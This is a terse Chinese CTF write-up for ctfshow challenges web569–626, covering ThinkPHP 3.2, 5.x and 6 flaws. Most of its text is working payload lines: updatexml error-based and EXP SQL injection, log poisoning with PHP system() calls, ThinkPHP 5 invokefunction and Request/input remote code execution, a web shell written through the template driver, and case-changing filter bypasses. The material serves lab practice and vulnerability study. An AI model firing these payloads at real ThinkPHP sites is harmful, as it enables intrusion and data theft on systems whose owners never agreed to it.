web569
主要就是考察了一个url解析模式
http://localhost/index.php/模块/控制器/操作/参数/值
payload:
/index.php/Admin/Login/ctfshowLogin
web570
Common/Conf/config.php,发现可利用点,一个闭包路由
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
传参发现也能正常执行
/index.php/ctfshow/system/ls
经本地测试,call_user_func中不能用/
,所以就不能ls /
、cat /f*
所以这里还是用回调的方法执行命令
web571
记一道thinkphp题引发的思考_Sentiment._的博客-CSDN博客
web572
此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作
发现这篇文章包括了3.2的很多利用点Thinkphp3.2.3安全开发须知_FLy_鹏程万里的博客-CSDN博客
如果debug之前没有关,或是目录限制没做好,可能造成信息泄露
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录限制又没做好,那么就可以尝试利用
ThinkPHP3.2 结构:Application\Runtime\Logs\Home\18_07_27.log
ThinkPHP3.2 解析:项目名\Runtime\Logs\Home\年份_月份_日期.log
这里一直没爆破出来后来还是参考了师傅的参数,最终得到参数showctf
payload
/index.php?showctf=<?php%20system(%27cat%20/fl*%27);?>
web573
3.2.3本身的sql注入漏洞,之前有跟过https://blog.csdn.net/weixin_54902210/article/details/124889749
payload
#爆数据库
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#
#爆表
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctfshow' limit 1,1
#爆列
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flags' limit 1,1 ),0x7e),1)#
#爆数据
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select flag4s from flags),0x7e),1)#
?id[where]=1 and 1=updatexml(1,concat(0x7e,substr((select flag4s from flags),20,40),0x7e),1)# //前面爆不全
web574
有点鸡肋,看到提示后,感觉跟之前审的exp注入一样,但是打不通,后来看了师傅的文章发现,主要在于这里where查询的子句不是数组了,而是字符串,而这里更意想不到的是把括号闭合就够了。。。。
还是报错注入吧懒得爆回显位了,直接用上题爆的表
?id=-1) and updatexml(1,concat(0x7e,(select flag4s from flags),0x7e),1)--+
?id=-1) and updatexml(1,concat(0x7e,substr((select flag4s from flags),20,40),0x7e),1)--+
开始没打通,后来发现不能用#只能%23 或者–+这种,可以了解下
(1条消息) SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master_Dooz的博客-CSDN博客_%23是什么
web575
个人原因反序列化链除之前审过的,其它的留到以后再审
web576
comment 注释注入写shell之前跟过
web577
EXP注入,Thinkphp3.2.3 SQL注入漏洞_Sentiment._的博客-CSDN博客
还是之前的表名,字段
payload
?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,(select flag4s from flags),0x7e),1)
web579
看未开启强制路由RCE,之前审过直接传参没想到就出了Thinkphp5 RCE漏洞_Sentiment._的博客-CSDN博客
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/fl*
web604
5.1.29版本的也审过
?s=index/\think\Request/input&filter[]=system&data=cat%20/fl*
web605
之前总结的rce都被过滤了所以采用了写shell的方式
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20system(%27cat%20/fl*%27);?>
访问shell.php
web606
把总结的rce姿势都过滤掉了(input write invokefunction display),但是大写
就绕过了
过滤write用Write
?s=index/\think\template\driver\file/Write&cacheFile=shell.php&content=<?php%20system(%27cat%20/fl*%27);?>
访问shell.php
看师傅还有种新思路:
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php%20system(%27cat%20/fl*%27);%20?>
web607—610
其实未开启强制路由这部分都一样,之前用的write,这用display吧,还是大小写绕过即可
?s=index/\think\view\driver\Think/Display&template=<?php%20system(%27cat%20/fl*%27);?>
#另一个思路仍然好用
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php%20system(%27cat%20/fl*%27);%20?>
web611
thinkphp 5.1.38反序列化RCE,之前审过ThinkPHP5.1反序列化漏洞_Sentiment._的博客-CSDN博客
拿poc直接打就行,但是这里不需要base64编码,其次要进行个url转码
web623-626
最近学了tp6又复现了一波,payload能直接打通
ThinkPHP6.0 反序列化漏洞